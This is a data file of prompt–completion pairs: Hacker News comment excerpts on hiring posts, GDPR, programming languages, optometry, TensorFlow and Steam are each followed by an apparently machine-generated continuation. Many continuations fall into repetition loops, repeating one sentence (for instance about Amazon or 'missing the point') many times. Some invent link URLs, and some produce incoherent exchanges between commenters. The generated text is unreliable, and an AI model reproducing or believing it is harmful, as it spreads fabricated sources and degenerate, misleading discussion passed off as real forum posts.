First this is great for getting quality time with your friends.\nSecond, you can use this trick to save money (happy hour in one place, dinner\nin another). Third, there will be prolonged periods of time between each\nlocation that you will not be drinking.\n\nSounds like you could also benefit from just imbibing drinks that are limited\nin alcohol content. Session Beers, Campari spritz, some sakes etc.\n\n~~~\nchirau\nWhat if your workplace is part facilitator? Many a startup's fridges are full\nof beers and other alcohol in full view. Which, I think makes both 1 and 2 a\nchallenge.\n\nFor 3, i feel like drinking a glass of water in between drinks, though a good\nthough, only eggs you on to drink more drinks since you know you are\ncountering it at each turn.\n\n~~~\njppope\nThe author of the original post said that he doesn't drink during the week. I\nwould agree that a fridge full of beer makes it harder.\n\n------\npeepanpeter\nThis is just a personal anecdote, but after taking Ecstasy/MDMA once around 9"} +{"output_text": " different from the competition, and we\u2019re looking for a junior\nproduct manager to help us build it.\n\nWhat you\u2019ll do\n\nYou\u2019ll be responsible for the product vision and strategy, and will work with\nthe engineering team to build and launch Fleetsmith. You\u2019ll be a key member\nof the product team, and will be responsible for the day-to-day management of\nthe product.\n\nYou\u2019ll be a great fit if you", "input_text": " contact denis@amptab.com\n\n------\nmgw\nDealini | Zurich, Switzerland | Onsite | Fulltime | Senior Python Developer |\n85k-110k CHF\n\nDealini is creating and running marketing campaigns in retail stores, moving\npeople from the physical world onto our online experiences.\n\nWe are looking for a Senior Python Developer to:\n\n\\- Craft clean and elegant REST APIs in Python, consumed by our web\napplications and mobile apps\n\n\\- Improve our development environment and workflow consisting of a Python\nREST framework, MariaDB, Redis, Varnish, Buildbot...\n\n\\- Tend to our services and servers running on Amazon Web Services\n\n\\- Take architectural decisions for new features\n\nOur interview process: A short chat over the phone, interview with me\n(founder) and a second (ideally on-site) interview with someone from the team.\n\nWe have a very laid back atmosphere and some Silicon Valley style perks. You\ncan find more information here: [http://stackoverflow.com/jobs/132982/senior-\npython-developer...](http://stackoverflow.com/jobs/132982/senior-python-\ndeveloper-dealini-schweiz-ag)\n\nContact me at michael.wirth@dealini.ch\n\n------\njesseendahl\nFleetsmith | Junior Product Manager | San Francisco | Onsite | Full Time\n\nWho we are\n\nFleetsmith solves the computer management problem for IT and Security teams:\nsimple and secure provisioning, enforcement, and inventory of devices.\n\nWe were motivated to create Fleetsmith by our deep frustration with existing\ncomputer management solutions. We knew we could do a lot better. Our product\nis very"} +{"output_text": "ire.com/news-releases/hyundai-and-\ngenesis...](https://www.prnewswire.com/news-releases/hyundai-and-genesis-\nannounce-connected-service-program-to-help-drivers-manage-their-data-and-\nconnect-with-their-vehicles-300947451.html)\n\n~~~\nmikeash\nI don't think that's the case here.", "input_text": " car, and it might actually help defending\nmyself if I have an accident and I think that I'm not guilty.\n\n~~~\nabawany\nI believe these have existed in vehicles for quite a while and have been used\nas evidence for/against the driver. According to [1], 85% of all vehicles in\n2010 were expected to already have these things installed.\n\n[1]\n[https://en.wikipedia.org/wiki/Event_data_recorder](https://en.wikipedia.org/wiki/Event_data_recorder)\n\n~~~\nzepearl\nThank you, until now I was totally unaware of such systems.\n\nBut good to have things stored locally than to have them uploaded anywhere to\nthen be used for some analysis (puah, probably a point to be discussed).\n\nPersonally I'm OK if used for&against the driver (from a technical\nperspective, not as souce of abolute truth) if the duration of the recordings\nare short.\n\n~~~\nabawany\nIn a defensive driving course I took in the prior decade, the instructor\ninformed us that these collect data in a rolling 5 minute window until an\nadverse event occurs.\n\n------\ntobyhinloopen\nThis and the DLC are the worst trends in new cars.\n\n------\npropogandist\nHyundai and Genesis have been doing this with their vehicles. They offer a 3\nyear complimetary connected service program, which includes terms that allow\nmining of car telemetry and GPS data, which is then sold to data broker\nVeriRisk, who resells to insurance and other industry.\n\nAll this only screws the driver over and most people simply do not know this\nis happening.\n\n[https://www.prnewsw"} +{"output_text": "\n\n~~~\ndiminish\nI am not sure if I am missing something, but I don't see Nokia Asha in the\nlist.\n\n~~~\nxamlhacker\nIt's not listed because it's not a mobile OS.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see any mention of the\nWindows Phone OS.\n\nI'm not sure if I'm missing something, but I don't", "input_text": "\nBada was successful in 2011 and 2012 (3Q/2012: 5.054.000 world wide sales,\n3.0% market share). Bada sales were higher than Win7/8 smartphone sales even\nback in 2012:\n[http://upload.wikimedia.org/wikipedia/de/e/e7/2012_11_15_Sma...](http://upload.wikimedia.org/wikipedia/de/e/e7/2012_11_15_Smartphones.jpg)\n\n~~~\nOletros\nAndroid compatibility layer doesn't include Google Services so no GMail,\nGoogle Maps or other programs.\n\n------\nDaishiman\nThis was not unexpected; despite all the technical and political troubles iOS\nand Android have, mobiles OSes can be considered a commodity; there is little\ncompetitive advantage that any new contender could bring about at this point\nunless something truly radical emerges.\n\nUbuntu's unified OS on all platforms seems like an interesting idea at first\nglance, but Canonical has so far failed at providing the necessary vision for\nthat to come through.\n\n~~~\nargonaut\nIt's not so much that they're a commodity, but rather it's the fact that\nAndroid and iOS are so entrenched. Both ecosystems are networks. In fact iOS\nis a major competitive advantage for Apple, with all the apps that are iOS\nfirst.\n\n------\ndiminish\nMobile OS seen is amazingly diverse; Symbian, WebOs, Blackberry OSes, Bada,\n->Tizen, Ubuntu Touch, FirefoxOS, SailfishOS and then Android/s, Windows* and\niOS. Anything else I omitted?\n\n~~~\nxamlhacker\nThere is also S40 platform powering Nokia Asha pseudo-smartphones."} +{"output_text": " they're all well worth it.\n\n------\njulian37\nI'm not sure if this is the right place to ask this, but I'm curious:\n\nI'm a film student and I'm looking for a job in the industry. I've been\nlooking at the job boards and I'm seeing a lot of jobs for \"production\nassistant\" and \"production assistant/grip\" and \"grip\" and \"grip/grip\" and\n", "input_text": " are positioning\nthemselves within the scene. One can break this rule like any other but it\nneeds to be done deliberately and in a way that signals a shift of focus to\nthe audience.\n\nKeeping track of all this during the often-chaotic environment of production\nis a lot harder than you might imagine. Almost all films, even vary large-\nbudget ones, have at least one shot where the image has to be flipped from\nleft to right to correct a camera positioning error - it's better that Brad\nPitt's wristwatch seem to momentarily be on the wrong arm than that the\npositional grammar be broken by a poorly-chosen angle.\n\n~~~\njulian37\nFor people (not just film students) interested in this sort of thing, I\nrecommend \"The Grammar of the Film Language\" by Daniel Arijon. A fantastic\nbook that's fundamentally changed the way I see movies.\n\n[http://www.amazon.com/Grammar-Film-Language-Daniel-\nArijon/dp...](http://www.amazon.com/Grammar-Film-Language-Daniel-\nArijon/dp/187950507X)\n\n~~~\nanigbrowl\nSeconded. It is the only book I've seen that takes a truly systematic\napproach. It seems to have fallen out of favor due to the 1970s-era line\ndrawings involving increasingly naked people which some people find sexist or\njust weird.\n\nTwo other books worth mentioning are _The Visual Story_ by Bruce Block and _If\nit's Purple Someone's Gonna Die_ by Patti Bellatoni. The first one is about\nshapes and the second one is about color.\n\nYou can pick up all 3 for under $100 and"} +{"output_text": " and a great work/life\nbalance.\n\nApply here:\n[https://jobs.lever.co/easypost/d9a9e9b6-a9a8-4c6c-a9c8-e9a9a...](https://jobs.lever.co/easypost/d9a9e9b6-a9a8-4c6c-a9c8-e9a9", "input_text": "\n\n\\- Add new features to our core booking system\n\n\\- Improving [https://www.openplay.co.uk](https://www.openplay.co.uk) for our\n30,000+ users\n\n\\- Developing new endpoints for our APIs\n\n\\- Investigating new ares of interest for our business including mobile\npayments, keyless entry systems, iBeacons etc\n\n\\- Looking into react native for some upcoming apps we're developing\n\nTech stack is:\n\n\\- Laravel 5/Redis\n\n\\- Bootstrap\n\n\\- Ionic hybrid apps\n\n\\- All hosted on AWS deployed via codeship with forge/envoyer.\n\nsee [https://larajobs.com/job/758/midsenior-laravel-developer-\nlon...](https://larajobs.com/job/758/midsenior-laravel-developer-london-\nonsite-or-uk-remote) for more information\n\n------\nspark1\nEasyPost | San Francisco | Full-time | Onsite | Senior Software Engineer\n\nEasyPost is a fast growing startup that provides a RESTful API to\nrevolutionize the entire shipping process for e-commerce companies.\n\nWe are looking for a Senior Software Engineer with Ruby on Rails, Python, or\nGo experience to join the EasyPost team. If you love to code, want to build\nAPIs, and work on a small team of collaborative developers to build meaningful\nproducts, then we\u2019d love to meet you!\n\nCheck out our API:\n[https://www.easypost.com/docs/api.html](https://www.easypost.com/docs/api.html)\n\nWe can offer you a competitive base salary, equity,"} +{"output_text": "news/business-32953550](http://www.bbc.com/news/business-32953550)\n\n------\njoshuaheard\nI'm not sure why this is on the front page.\n\n~~~\njacalata\nIt's a story about a company that was fined for not following the rules.\n\n~~~\njoshuaheard\nI'm not sure why this is on the front page.\n\n~~~\njacalata", "input_text": " business development to get the contract in the first\nplace.\n\nI don't actually know how these things are calculated, though.\n\n~~~\nzaroth\nGood points. They are certainly not making out after the fines. Now I wonder,\nif the fine is tax deductible?\n\n~~~\njacalata\nIt shouldn't be in general - [http://www.nolo.com/legal-encyclopedia/business-\nexpenses-tha...](http://www.nolo.com/legal-encyclopedia/business-expenses-\nthat-are-never-deductible.html)\n\n------\nEvanPlaice\nSounds like 'business as usual' to me.\n\nSmall company is granted preferential treatment on the contract reward because\nthe company fits under a'special class'. For example SDVOSB.\n\nThe company doesn't actually have the skill/ability to fulfill the contract\nrequirements so they outsource a significant portion of the work; either by\npicking up one of the bidders who lost as a subprime or bynoutsourcing to a\nthird-party. Passing off the responsibility violates the 'protected class'\ncertification threshold but there's no oversight to verify compliance so the\ncontractor is never held accountable.\n\nMany/most small business defense contractors are simply administrative\ncompanies that work the'special class' certification process, pocket a\nsignificant percentage of the funds, and either outsource most of the actual\nwork or hire people and provide substandard pay and provide little/no\nresources to do the work.\n\nSource: I used to work for one such company. Never again...\n\n------\neddd\nI love that kind of stories:\n[http://www.bbc.com/"} +{"output_text": " hope it's not too close to any\nother.\"\n\nI'm not saying that Bootstrap is perfect, but I'm not sure I'd want to use it\nfor a project that I'm going to be showing to a non-technical person.\n\n~~~\njoshschreuder\nI'm not sure if this is the right place to ask this, but I'm curious.\n\nI'm a web developer and I'm not a designer. I'm not sure if I", "input_text": "perhaps compiled from markdown) with no JS?\n\nThe manuals for semantic UI seem to jump strait into integrations with other\nfrontend frameworks and build tools; but I don't want to use them.\n\n------\nbaby\nI use it for small projects/pages just because it looks so good :)\n[http://cryptologie.net/links](http://cryptologie.net/links)\n\nbut I found it harder to get into compared to bootstrap/foundation.\n\n------\nnwmcsween\nThere seems to be some sort of impedance mismatch CSS is _for_ developers give\nme.di-bl { display: block; }, make it easy to understand by just looking at\nthe markup instead of having to having to dig into other files.\n\n------\nvoidhawk\nAnyone else find the pages jitter when scrolling? At least on Safari (iPhone)\n\n------\nndarilek\nAs a blind web developer, I want to like Semantic. My usual mode of developing\nHTML, once it's at the \"I need to make this look good\" stage, is \"show it to\nmy girlfriend and ask her various questions.\" She says things like \"I wish X\nwere a bit larger,\" or \"Y should be blue,\" and pulling that off in Bootstrap\nis challenging. I can drop down to lower-level CSS, but have no clue how my\nchanges interact with Bootstrap's defaults, or indeed if they take effect at\nall. I mean, I can tweak font sizes and hex codes, but at the end of the day\nthey're all numbers, when what I _want_ to do is say \"No really, make this\nthing larger relative to these other things,\" not \"make it 125%, with this hex\ncode I scraped out of some color list and"} +{"output_text": "\n4) The \"speed\" of a language is often a function of the language's\nimplementation, not the language itself.\n\n5) The \"speed\" of a language is often a function of the language's\nimplementation, not the language itself.\n\n6) The \"speed\" of a language is often a function of the language's\nimplementation, not the language itself.\n\n7) The \"speed\" of a language is often a function of the language's\n", "input_text": " extra lines. I've also used Go for\nsome command-line type apps where the line count is probably 50% over Python,\nbut I also got some significant wins from the type system and concurrency, so,\nall in all there's a lot of things I can prototype with about the same mental\neffort in Go as I could in Python. Being able to declare interfaces that\nexisting types conform to turns out to cover a surprising amount of those\n\"duck-type\" scripting-type cases.\n\n------\nbooshi\nThis keeps getting posted, and while it makes some valid points, it's a lot of\nhandwaving.\n\nArguably, other languages can get code out faster depending on the dev,\nlanguage, etc.\n\n~~~\n0xcde4c3db\nAgreed. Things that are handwaved include:\n\n1) Performance can be a genuine requirement of the product, i.e. if it's not\nfast enough, it doesn't ship. You can't ship faster and cheaper by sacrificing\nthe thing you need to ship (well, you _can_, but then you're shipping a\ndifferent product, not meeting the same requirements sooner; it's no different\nthan cutting a feature).\n\n2) Many processes can't be horizontally scaled in an efficient way, period.\nNot because the programmer is ignorant of some cool algorithm, but because the\nproblem is fundamentally expensive to parallelize. Maybe you end up getting\nsomething like a 20% boost by having twice as many nodes, even after applying\nall the cool algorithms. And you don't necessarily get that scalability in\nyour code base for free, either.\n\n3) \"Speed\" in the mobile and embedded spaces is often as much about energy\nefficiency and thermal management as getting done sooner.\n"} +{"output_text": ". He said he was paid well and had a good time.\n\nI think the problem is that Amazon is a company that is built on the backs of\nthe poor. They are a company that is built on the backs of the poor. They are\na company that is built on the backs of the poor. They are a company that is\nbuilt on the backs of the poor. They are a company that is built on the backs\nof the poor. They are a company that", "input_text": " or group, then\nhave everyone commit to the decision and not whine about how they should have\ndone what _I_ said we should do. You disagree, but you commit to the decision\nof the group for cohesion and productivity.\n\nIt's also a means to prevent groupthink. No one should be thought poorly of\n_for_ disagreeing, so everyone should be giving all their thoughts, even ones\nthat contradict what the group is thinking. Just so long as they get those\npoints out before the decision is made, of course.\n\n~~~\nkevan\nExactly. No matter how good an idea is, if people in the team are sabotaging\nit because they don't like it you'll have a bad time. A variation on Patton's\nquote: A mediocre plan executed well is better than a great plan executed\npoorly.\n\n------\nFussyZeus\nIs it safe in this thread to bring up the human cost of Amazon's (and likely\nby extension Bezo's) almost sociopathic pursuit of success? I wouldn't deny\nAmazon is a successful company, but how many horror stories from employees\nbeing ground to dust under their management have crossed HN's front page? How\nmany companies are now refusing to do business with Amazon because of the\niron-fisted requirements enforcement on their suppliers? How many sales on\nAmazon are of shit quality, ripoff products no better than you'd find on the\nstreets of Hong Kong?\n\nI mean eschewing any and all corporate, social, and ethical responsibility\nwill definitely make you a truck load of money, but I wouldn't call it exactly\na net gain for all involved.\n\n~~~\ndizzystar\nI had a roommate who worked in the Amazon warehouse. He said it was very chill\nand easy work"} +{"output_text": ") is\ntheir OS.\n\n~~~\njedberg\nI think Apple is worried about Google because they know that Google is\nbecoming a threat to their business.\n\nApple is a hardware company. Google is a software company.\n\nGoogle is a software company that makes hardware.\n\nGoogle is a software company that makes software.\n\nGoogle is a software company that makes software that runs on hardware.\n\nGoogle is a software company that makes software that runs on", "input_text": " when I\nused it, and once it is running I keep it open pretty much the entire work-\nweek without any issues.\n\n~~~\npjmlp\nOther than Netbeans and Eclipse being faster and don't turn my dual core into\nairplane mode like Android Studio does, which forced me to enable laptop mode\non it.\n\n~~~\nInsanity\nI don't really understand what you are trying to say, sorry :/\n\n------\niainmerrick\n\"Fuchsia\" and \"magenta\" are pretty gutsy names to choose, given how similar it\nsound to Apple's vaporware \"Pink\" OS from the 90s (AKA Taligent, AKA Copland).\nSomebody has a sense of humor!\n\nIt's really hard to tell if this is actually something that will ship, or yet\nanother Google boondoggle to be swiftly discarded (like the first attempt at\nChromeOS for tablets). Google under Larry Page built and discarded a lot of\nstuff; I wonder if it's the same under Sundar Pichai.\n\n[https://en.wikipedia.org/wiki/Taligent](https://en.wikipedia.org/wiki/Taligent)\n\n~~~\nJustSomeNobody\nSounds like a stretch having to go all the way back to the 90's to get a\nsimilar color code name.\n\n~~~\niainmerrick\nIt was the first thing those unusual names made me think of. But I'm a long-\ntime Mac developer, so probably pink and purple colors as OS names won't have\nthe same connotations for other people.\n\n------\ncamdenlock\nThis could be the first time Apple needs to truly worry about Google. The one\nmassive lead Apple still has over Google (and the other major players"} +{"output_text": " Data is a fast-growing, venture-backed startup that is building the\nworld\u2019s most advanced data platform for the social web. We are looking for\nsenior full stack engineers to join our team.\n\nPeriscope Data is a fast-growing, venture-backed startup that is building the\nworld\u2019s most advanced data platform for the social web. We are looking for\nsenior full stack engineers to join our team.\n\nPeriscope Data is a fast", "input_text": " also hiring for Marketing, Recruiting, Finance, and Sales! Basically\neverything.\n\n~~~\nkprybol\nI keep looking for another data science spot to open up in Raleigh. Wish I\ncould have taken advantage of the openings when your office first opened up\nbut was terrible timing on my end (really enjoyed interviewing though). Also\ngot to meet Tim not too long ago at PyData Carolinas and he's awesome.\n\n------\ncwik\nCaseWare | Toronto, Canada | Full-time | Multiple Positions | Onsite\n\nWe are looking for experienced developers to help us build our next generation\nof cloud services.\n\nCaseWare is the dominant provider of mission-critical accounting and auditing\nsoftware used by domestic and global accounting firms and a leading provider\nof auditing software to governments, tax authorities and corporations.\n\nWe\u2019re actively hiring for the following positions:\n\nDevOps Engineer\n\nServer Developer (Java)\n\nData Platform Developer (Java, Scala, Apache Spark)\n\nOur stack: Docker, Kubernetes, AWS, Java, Scala, Apache Spark, TypeScript,\nAngular 2. If you have experience with any of these let\u2019s talk!\n\nMention \u2018HN\u2019 in your application at\n[https://www.caseware.com/careers/](https://www.caseware.com/careers/)\n\n------\nmelaniet\nPeriscope Data | San Francisco, ONSITE |\n[https://www.periscopedata.com/](https://www.periscopedata.com/)\n\n* Senior Full Stack Engineer (Ruby, Go, CoffeeScript): [http://bit.ly/2iBwa6l](http://bit.ly/2iBwa6l)\n\nPeriscope"} +{"output_text": " documentation is a little sparse.\n\n~~~\nlyime\nI'm in the same boat. I'm using CodeIgniter for my current project and I'm\nlooking for a framework to learn. I'm leaning towards Kohana.\n\n------\njamesbritt\nI've been using CodeIgniter for a while now, and I like it.\n\nI'm not sure I'd use it for a new project, though.\n\n------\njamesbritt\n", "input_text": " In the end, I would have built a better\nproduct in the time allotted using something else, even my own primitive\ncodebase.\n\nHaving come to know it pretty damn well, I'd have trouble recommending it to\nanyone else.\n\n~~~\npauljonas\nI looked at Symfony, CakePHP, and a few others (at time, Zend was not anywhere\nnear production ready), and all just seemed like (a) overkill or (b)\ninadequate. In the final analysis, I wrote my own framework.\n\nOn the flip side, homebrew framework development has become a larger project\nin recent years. Nowdays, you need to include in AJAX integration, slicker\nclient UI, mobile phone accommodation, web services API, multimedia handling,\netc.... And you're going to be reliant on 3rd party libraries that you need to\nresearch, choose, perhaps configure and upgrade at intervals.\n\nHave used Rails for a few projects and it provided a constant stream of\nannoyances as anytime you attempted to do something that didn't quite fit into\nthe DHH \"vision\", it was a hassle. Though I liked the DB migration setup in\nspite of the lock in to autoincrement integer keys.\n\n------\nlyime\nhas anyone used Kohana php here?\n\n~~~\ngigawatt\nI'm in the middle of learning PHP with plans to learn a framework afterwards.\nI had pretty much decided on CodeIgniter since I'm such a big fan of\nExpressionEngine, and EE 2.0 will be based on CI. But Kohana definitely looks\ninteresting - based on CI, but with full PHP5 support. And the payment library\nlooks particularly enticing. The one thing that makes me a little leery is\nthat the CI"} +{"output_text": ":\n[https://www.privacy-\nregulation.eu/en/articles/email_identifi...](https://www.privacy-\nregulation.eu/en/articles/email_identification_and_pseudonymisation)\n\n> The GDPR defines PII and there isn't anything you can do about it you can't\n> ask users to make a throwaway email account and hope that you can pass GDPR\n> by claiming that it's not", "input_text": " email: 1373f84998986cf8@tutanota.com. Identify me! Know that I\nwont used the email elsewhere.\n\n> You cannot use ToU to bypass GDPR.\n\nJust to clarify this is not buried in ToU but laid out clearly.\n\nSo the website says dont give PII. User still does. And GDPR would penalize\nthe website? Citation please.\n\n~~~\ndogma1138\nAre you serious? the fact that your email isn't yourname@mailprovider.com\ndoesn't make it any less identifiable. My IP address is 192.168.1.1 identify\nme... It also doesn't matter if you think the information is identifiable or\nnot what matters is how the GDPR defines it.\n\nThe GDPR defines PII and there isn't anything you can do about it you can't\nask users to make a throwaway email account and hope that you can pass GDPR by\nclaiming that it's not PII this isn't how regulation works.\n\nWhat matters isn't that the email address reveals your name is that someone\ncan use it to identify additional information about you such as if you are\nsubscribed to a specific service or not.\n\n>So the website says dont give PII. User still does. And GDPR would penalize\nthe website? Citation please.\n\nIf the website asks for an email address that is PII under the GDPR.\n\n~~~\nwtfstatists\nIP is not a user-entered data and cannot be freely selected, unlike email\naddresses.\n\n> the fact that your email isn't yourname@mailprovider.com doesn't make it any\n> less identifiable.\n\nThe only official guidelines about email I could find are in here"} +{"output_text": "?\n\n~~~\nhelium\nI also thought it would be cool to have a \"tweetbow\" for each user. So if you\nfollow someone, you can tweet them a \"bow\" and they can tweet you back.\n\n------\nhelium\nI also thought it would be cool to have a \"tweetbow\" for each user. So if you\nfollow someone, you can tweet them a \"bow\" and they can tweet you back.\n\n------", "input_text": " on the Open Pandora Linux\nHandheld for now, but the developer says it's very portable and it is likely\nto spread to other platforms in the very near future.\n\n~~~\nskeezix\nIt is very trivial to port, as theres not all that much to it right now..\njust some code to do HTTP PUT and GET to transfer RAM snapshot blobs back and\nforth with the server. Opening it up (if desired) to indie and homebrew games,\nother emus, other target platforms and host platforms, adding new features..\nlots we can do, and hopefully part of the game, but a lot to do before we get\nthere :)\n\nOr perhaps theres already an open source or standardized protocol for doing\nachivements and high scoring and so forth; an open source 'game centre' etc\nwould be nice..\n\n~~~\nyareally\nI'd incorporate it into a mobile game for phones or tablets if it's less\nannoying to users than alternative. The alternative solutions I've seen for\nandroid at least want too much info or annoy users by persisting to ask them\nif they want to use it (albeit that could also be due to the developer). An\nopen solution with a non invasive license would be great for us indie\ndevelopers\n\n------\nkingu\nCompo4All: Making Arcade Games antiSocial Again ;)\n\n \n\nRate my mini-app: Tweetbow - helium\nhttp://tweetbow.appspot.com/\n\n======\nhelium\nYes, I know this is Yet Another Twitter App but I was just having some fun\nusing the Twitter API with javascript and trying out Google App engine.\nHowever, I also do think it could be useful in discovering people you want to\nfollow on Twitter. Any comments"} +{"output_text": "w, and is a good way to get a hash of a file.\n\n~~~\ntedmiston\nI'm not sure I understand what you mean by \"awk emits the stream of unique\nthings\".\n\n~~~\nggm\nI mean, it emits the stream of unique things, as they are seen.\n\n------\ntedmiston\nI'm not sure if this is the best way to do this, but I've been using this\ncommand to generate", "input_text": ".sh).\n\nIn each of those scripts, I typically have a one liner depending on what the\nproject requires. A simple build one is:\n\n \n \n #!/usr/bin/env bash\n \n make build\n \n\nAnd run:\n\n \n \n #!/usr/bin/env bash\n \n docker run foo/bar\n \n\nOr maybe:\n\n \n \n #!/usr/bin/env bash\n \n python manage.py runserver\n \n\nI might also add (source) environment variable settings, etc. Sort of like my\nown personal decentralized makefile.\n\nThen I add each script to my.git/info/exclude for each project. It saves so\nmuch time switching between projects to not have to remember any particular\none's build or run commands.\n\n~~~\nz1mm32m4n\nThis is brilliant; I think I'll start doing this.\n\nOne slight modification: name the build and run scripts something that you\nwill never expect to be in that repo (maybe like run-xyz.sh where xyz are my\ninitials, 10 random characters, etc.).\n\nThen, the filename can be excluded in a global gitignore file.\n\n~~~\ntedmiston\nYeah, good points. Maybe putting the script(s) inside a.whatever directory\ninside the project root like some other dev tools do is worth consideration.\nWhat do you think?\n\n------\nggm\nThis is awk which emits the stream of unique things, as they are seen. it\ndoesn't require sorted input. It runs at the cost of building the obvious hash\nin memory so can drive you to swap over large inputs, but its portable, does\nnot require post-install s/"} +{"output_text": " such thing as the fastest programming language.\n\n~~~\n27182818284\nI think you're missing the point.\n\n~~~\nlumberjack\nI think you're missing the point.\n\n------\n27182818284\nI think you're missing the point.\n\n------\n27182818284\nI think you're missing the point.\n\n------\n27182818284\nI think you're missing the point.\n\n------\n", "input_text": "ooooood\nWin---> \"Kyle Wilhoit, a 29-year-old Missourian working for a cybersecurity\ncompany called Trend Micro, has spent the last year building fake water plant\ncontrol systems that mimic the online control systems used by real American\nutilities.\"\n\n \n\nThe programming language that is fastest to implement features - deltrem\n\nSlashdot said that programming has a political axis with conservative and liberal programmers. Liberal programmers worry about how fast you take to implement a feature. Liberal programmers need the answer to this question. (1)

Paul Graham said that his company could implement features faster than his competitors, because his company programmed in Common Lisp and Common Lisp makes you twice more productive as a programmer. (2)

Time passes, progress happens, Common Lisp was the fastest, a more modern programming language is the fastest, so today what programming language is the fastest to implement features? Why?

(1) http://slashdot.org/index2.pl?fhfilter=political+axis\n(2) http://www.paulgraham.com/avg.html\n======\ngyardley\nMust we use this 'liberal' vs. 'conservative' language for programming styles?\nThe terms are already so ridiculously value-laden, you're at risk of letting\nyour political leanings involuntarily bleed through and muddle up your\nprogramming decisions.\n\n~~~\n27182818284\nI think that's a reaction to there being a blog post about liberal and\nconservative programming languaged on the HN page a bit ago.\n\n(And yes, we should absolutely not use them. )\n\n------\nlumberjack\nThere is no"} +{"output_text": "forcing_ optometrists to\nautomate the process.\n\n~~~\nmattmanser\nI've been to optometry school and I can tell you that the majority of optometrists\nare not like that.\n\nI've been to a few and they're all very human, they're not like that.\n\n~~~\numvi\nI've been to a few too, and I can tell you that the majority of optometrists\nare not like that.", "input_text": " forth, but I'll just leave them on my\ndesk and swap when I sit down.\n\nI bet my distance vision would be a lot better now if I hadn't spent 25 years\nstraining to see a monitor with the wrong glasses.\n\n~~~\n1996\nExactly this!! I have an extra wide computer screen for work, it is a gamers\nscreen. So when they tried to sell me progressive, I refused. I want 2 good\nsolutions, not 1 half assed one.\n\nNext time I see an optometrist, I will have to ask them with my precise focal\nlength. They have the details of my correction, so they should be able to\nfigure it out.\n\nCan I bother you more? What is your take on undercorrection? I am wondering if\nI should go for that for my future computer glasses, or my regular glasses.\n\n~~~\nwalterbell\nIt works _if_ combined with \"active focus\". There are references aplenty in\nthe Endmyopia web forum, FB group and YT videos.\n\n------\numvi\nSeems like the majority of optometrists could be replaced by photo booth-esque\noptometry machines. Simply sit in a booth, look through some eye ports, and\nthe machine will automatically start cycling through lenses and making you\nchoose between 1, 2, or equal. At the end it spits out your prescription for a\nnominal fee. For an extra fee you could have additional eye imagery taken by\nthe machine sent off to a remote optometry lab for analysis.\n\nI've never been to optometry school, but 10/10 times I've gone to get a new\nprescription, the prescription process has been extremely algorithmic, to the\npoint where I wonder if cartel-esque forces are _"} +{"output_text": " the memory.\n\n[1]\n[https://github.com/python-text/wordfreq/blob/master/wordfreq...](https://github.com/python-\ntext/wordfreq/blob/master/wordfreq/wordfreq.py)\n\n~~~\nCoding_Cat\nI'm not sure I follow.\n\nYou're saying that you can't use this pattern when looping?\n\n~~~\nrspeer\nI'm saying that you", "input_text": "\n\n...on real workloads, random tends to do worse than other algorithms. But what\nif we take two random choices and just use LRU between those two choices? __\n\n\" 2-random\" is his short hand for the above scenario.\n\n[edit: formatting, I have no idea how to signify a quote; I don't want\npreformatted because it makes a scroll box.]\n\n~~~\nAnimalMuppet\nOn HN, typically a quote is done like this:\n\n> This is a quote. It won't become a scroll box, no matter how long it gets.\n> It will just wrap to the next line. True, the next line won't begin with a\n> \">\" character, but the convention is that the whole paragraph is a quote if\n> the first line begins with a \">\".\n\n------\nPaulHoule\nOften you can get away with dumping the whole cache when it fills up and\nstarting fresh.\n\n~~~\nCoding_Cat\nthat's a horrible pattern. As soon as you go 1 bit over your cache size in a\nhot loop you'll have a 100% miss rate. (assuming each element is loaded once\nin the hot loop).\n\n~~~\nrspeer\nYou don't use this pattern while looping. You use it while memoizing results\nthat you don't want to compute again.\n\nHere's an example, in the Python package wordfreq [1]. When you look up word\nfrequencies, there's some normalization it has to do to your text. Some words\nare very common, and it would be silly to normalize them repeatedly. So\nfrequency lookups are cached.\n\nThe cache dictionary has a maximum size of 100,000, so that exceptional or\nmalicious cases don't use up all"} +{"output_text": " thread:\n\n[https://www.reddit.com/r/MachineLearning/comments/3q8q9e/the...](https://www.reddit.com/r/MachineLearning/comments/3q8q9e/the_tensorflow_vs_keras_debate_is_a_debate/)\n\n> _I think the main point of the article is that the two frameworks are\n> different, and that the author is", "input_text": "_.\nEven in science it gets political... who knew.\n\n1: i.e., just their algorithms, or their code without very useful\nimplementation-level optimizations\n\n~~~\nargonaut\nIn ML, you can generally email the authors and very often they will be willing\nto send you (their really crappy) code. Although it probably helped that I\nsent these emails from my academic email address.\n\n~~~\npacala\n> There has never been a \"need to learn multiple frameworks in multiple\n> languages.\"\n\n> you can generally email the authors and very often they will be willing to\n> send you (their really crappy) code.\n\nCode obtained from multiple authors, or even from the same author but\ndifferent time periods, is code written using multiple frameworks in multiple\nlanguages. Standardizing on Python / TensorFlow reduces the risk of cognitive\nload along one's journey and is likely to speed up the field. If speed is what\nthe field was missing :)\n\n------\nfchollet\nIf anyone wants to switch to TensorFlow but misses the Torch interface, you\nwill always have Keras:\n[https://github.com/fchollet/keras](https://github.com/fchollet/keras)\n\n~~~\nSmerity\nI also recommend reading @fchollet's guide on integrating Keras and\nTensorFlow, especially for those wanting to implement novel components at a\nlower level :) [http://blog.keras.io/keras-as-a-simplified-interface-to-\ntens...](http://blog.keras.io/keras-as-a-simplified-interface-to-tensorflow-\ntutorial.html)\n\n------\nargonaut\nI like these comments on the Reddit"} +{"output_text": "\u2019s why I\ndon\u2019t play games on Linux.\n\n~~~\neru\nI don't know about that. I've been playing games on Linux for years.\n\n~~~\nugh\nI\u2019m not talking about games that are available for Linux. I\u2019m talking about\ngames that are available for Linux.\n\n~~~\neru\nI'm not sure what you mean.\n\n~~~\nugh\nI\u2019m talking about games that are available for", "input_text": "~~~\napakatt\nCheck the image from the Mac Steam announcement:\n[http://media.steampowered.com/apps/mac/MacSteam_AlfredJasonG...](http://media.steampowered.com/apps/mac/MacSteam_AlfredJasonGabe.jpg)\nThe guy has TWO penguins on his desk! That must count as an official\nannouncement as well, right? ;)\n\n------\nk0eselitz\nHeh. It's \"official\" - if by \"official\" you mean \"not official at all.\"\n\n------\nrbreve\nI downloaded Valve for OSX, but there are not many games for mac right now,\nall the good games are only available for windows\n\n------\npapachito\nThere's nothing official yet from Valve.\n\n~~~\ntimdorr\nFTA: \"An announcement from Valve itself is imminent.\"\n\nSo, you found evidence of it, even got it running, but all over unofficial\nchannels. This is about as official as a table is an banana.\n\n~~~\nComputerGuru\n_a_ banana.\n\nSorry. >.<\n\n~~~\ntimdorr\nWhoops. Wrote another analogy (table is 